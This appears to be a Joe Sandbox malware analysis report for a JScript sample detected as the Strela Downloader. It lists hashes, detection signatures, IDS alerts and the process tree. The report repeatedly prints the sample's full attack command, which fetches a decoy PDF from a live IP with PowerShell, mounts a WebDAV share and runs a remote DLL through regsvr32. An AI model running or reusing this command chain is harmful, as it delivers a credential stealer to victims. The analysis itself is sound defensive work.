Edit tour

Windows Analysis Report
248185965269371196.js

Overview

General Information

Sample name:	248185965269371196.js
Analysis ID:	1588762
MD5:	eebb981b692f261855ff20f1700cb15f
SHA1:	9b7e027bfc326a043165a2e762565d00c8a0d24e
SHA256:	51bfca72baf2156b25240874947700791ecaa85fd84ca062784d07941b5ed940
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7416 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7516 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7580 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7748 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1604,i,10969523557730200504,3880129865474238666,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7764 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7800 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8048 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7416	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7800, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 7516, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ProcessId: 7416, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7516, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7580, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7764, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7800, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8048, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7764, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7800, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\248185965269371196.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7416, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll, ProcessId: 7516, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:12:23.790823+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:12:26.158484+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:12:23.790823+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 248185965269371196.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 248185965269371196.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49705 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:12:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

